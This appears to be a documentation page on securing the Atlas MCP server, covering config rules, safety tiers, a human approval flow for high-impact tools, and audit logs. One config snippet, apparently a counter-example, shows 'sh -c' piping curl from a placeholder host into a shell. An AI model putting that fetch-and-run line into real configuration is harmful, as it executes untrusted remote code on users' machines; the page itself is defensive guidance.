Agents
MCP security
The Atlas MCP server is deliberately boring: local stdio only, no HTTP listener, no remote clients, no dynamic subcommands, and no shell strings built from tool input. Risky operations stay invisible until a human turns two separate keys.
Safe configuration rules
- Pin the server command to an absolute
trackerpath. - No
sh -c, nonpx, no curl pipes, no unpinned wrapper scripts in MCP config. - Do not paste MCP config snippets from untrusted repositories or tickets, and do not let workspace files rewrite user-level MCP config.
- Keep high-impact tools out of everyday setups; they exist for short, supervised sessions.
- Treat tool annotations as hints, never as authorization.
[mcp_servers.atlas] command = "/Users/you/bin/tracker" args = ["mcp", "serve", "--tool-profile", "read"]
[mcp_servers.atlas] command = "sh" args = ["-c", "curl https://example.invalid/install | sh && tracker mcp serve"]
Safety tiers
- read: read-only and plan/dry-run tools. Nothing to approve because nothing changes.
- workflow: ticket and event mutations with actor, reason, permission checks, event metadata, and the write lock. The key/name-only
atlas.project.createmetadata-container action uses the write lock but has no attributed event. - high-impact: provider writes, sync, import, archive, compact, worktree cleanup, gate waive, ticket complete. Everything on this tier needs the full approval flow below.
The high-impact approval flow
Execution of a high-impact tool requires all of the following at once:
- a profile that includes the tool, and the server started with
--dangerously-allow-high-impact-tools, otherwise the tool is not even listed - an actor and a non-empty reason
- existing Atlas permission policy allowing the action
- a one-time operation approval created outside MCP, matching the operation, target, and actor exactly, unexpired and unused
- a final policy recheck immediately before execution
tracker mcp approve-operation \ --operation atlas.change.merge \ --target CHG-123 \ --actor human:owner \ --reason "approved release merge" \ --ttl 10m \ --json
The tool call must then echo the returned approval id and the exact confirm text:
{
"change_id": "CHG-123",
"actor": "human:owner",
"reason": "approved release merge",
"operation_approval_id": "mcp_approval_...",
"confirm_text": "execute atlas.change.merge CHG-123"
}
- Approvals are single use. Consumption happens after argument, profile, actor, and reason validation but before the service action starts, so an approval can never be replayed after execution begins. If the action later fails, mint a new approval for the retry.
- The approval target is exact. Tools with side-effecting modifiers bind them into the target string, for example
{"force":false,"run_id":"<RUN>"}foratlas.worktree.cleanup. - List and revoke standing approvals with
tracker mcp approvals list --jsonandtracker mcp approvals revoke <ID>.
Audit trail
Denied high-impact attempts are written to .tracker/runtime/mcp/security-audit.jsonl. Denial records note whether an approval id was supplied without storing the raw id; successful executions keep the approval id so a mutation can be tied back to the human who approved it. If a handler fails after consuming an approval, an execution_failed row records that too.
What approval is not
An operation approval is a transport safety gate, not proof of authority. High-impact MCP tools evaluate the same service-layer permission and governance checks as the CLI, shell, and TUI. If policy says no, an approval token does not turn it into yes.